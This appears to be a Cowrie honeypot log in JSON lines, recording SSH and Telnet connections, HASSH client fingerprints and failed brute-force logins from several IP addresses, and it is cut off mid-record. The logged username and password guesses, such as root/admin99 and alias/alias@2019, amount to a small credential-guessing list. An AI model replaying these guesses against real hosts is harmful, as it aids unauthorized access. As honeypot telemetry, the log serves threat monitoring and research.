{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:30.539030Z","src_ip":"119.195.89.96","session":"d2c7a9a88207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.48922324180603,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:35.020310Z","src_ip":"217.66.249.113","session":"6a25b9cf7683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51990,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b880ab9e557","protocol":"ssh","message":"New connection: 159.203.92.129:51990 (159.203.135.109:22) [session: 2b880ab9e557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:51.852021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:51.856675Z","src_ip":"159.203.92.129","session":"2b880ab9e557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:51.860663Z","src_ip":"159.203.92.129","session":"2b880ab9e557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@123","message":"login attempt [alias/alias@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:51.869323Z","src_ip":"159.203.92.129","session":"2b880ab9e557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:52.874830Z","src_ip":"159.203.92.129","session":"2b880ab9e557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":48690,"dst_ip":"159.203.135.109","dst_port":22,"session":"17a9bfb03468","protocol":"ssh","message":"New connection: 124.13.124.212:48690 (159.203.135.109:22) [session: 17a9bfb03468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:55.598472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:55.605296Z","src_ip":"124.13.124.212","session":"17a9bfb03468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:55.849645Z","src_ip":"124.13.124.212","session":"17a9bfb03468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"x","message":"login attempt [ubuntu/x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:56.874933Z","src_ip":"124.13.124.212","session":"17a9bfb03468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:58.121160Z","src_ip":"124.13.124.212","session":"17a9bfb03468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":55424,"dst_ip":"159.203.135.109","dst_port":22,"session":"703ca6cf6afe","protocol":"ssh","message":"New connection: 78.128.112.74:55424 (159.203.135.109:22) [session: 703ca6cf6afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:04.856395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:05.049363Z","src_ip":"78.128.112.74","session":"703ca6cf6afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:05.053487Z","src_ip":"78.128.112.74","session":"703ca6cf6afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"panel","message":"login attempt [user/panel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:06.433419Z","src_ip":"78.128.112.74","session":"703ca6cf6afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:07.562989Z","src_ip":"78.128.112.74","session":"703ca6cf6afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":39012,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c5f8ca14ae3","protocol":"ssh","message":"New connection: 119.195.89.96:39012 (159.203.135.109:22) [session: 2c5f8ca14ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:26.882021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:26.886792Z","src_ip":"119.195.89.96","session":"2c5f8ca14ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:27.088072Z","src_ip":"119.195.89.96","session":"2c5f8ca14ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test5","message":"login attempt [test/test5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:27.924260Z","src_ip":"119.195.89.96","session":"2c5f8ca14ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:29.128461Z","src_ip":"119.195.89.96","session":"2c5f8ca14ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46238,"dst_ip":"159.203.135.109","dst_port":22,"session":"abda5f44421b","protocol":"ssh","message":"New connection: 159.203.92.129:46238 (159.203.135.109:22) [session: abda5f44421b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:37.439359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:37.443992Z","src_ip":"159.203.92.129","session":"abda5f44421b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:37.448035Z","src_ip":"159.203.92.129","session":"abda5f44421b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@2018","message":"login attempt [alias/alias@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:37.479086Z","src_ip":"159.203.92.129","session":"abda5f44421b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:38.484859Z","src_ip":"159.203.92.129","session":"abda5f44421b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":37972,"dst_ip":"159.203.135.109","dst_port":22,"session":"4834995f4a74","protocol":"ssh","message":"New connection: 124.13.124.212:37972 (159.203.135.109:22) [session: 4834995f4a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:54.807771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:54.814862Z","src_ip":"124.13.124.212","session":"4834995f4a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:55.063624Z","src_ip":"124.13.124.212","session":"4834995f4a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin99","message":"login attempt [root/admin99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:56.095547Z","src_ip":"124.13.124.212","session":"4834995f4a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:29:57.342614Z","src_ip":"124.13.124.212","session":"4834995f4a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36922,"dst_ip":"159.203.135.109","dst_port":22,"session":"50edf6986060","protocol":"ssh","message":"New connection: 159.203.92.129:36922 (159.203.135.109:22) [session: 50edf6986060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:24.511652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:24.521319Z","src_ip":"159.203.92.129","session":"50edf6986060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:24.528208Z","src_ip":"159.203.92.129","session":"50edf6986060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias@2019","message":"login attempt [alias/alias@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:24.554126Z","src_ip":"159.203.92.129","session":"50edf6986060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:25.573288Z","src_ip":"159.203.92.129","session":"50edf6986060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":46053,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf31a46f11ed","protocol":"ssh","message":"New connection: 119.195.89.96:46053 (159.203.135.109:22) [session: bf31a46f11ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:26.410546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:30:26.416668Z","src_ip":"119.195.89.96","session":"bf31a46f11ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 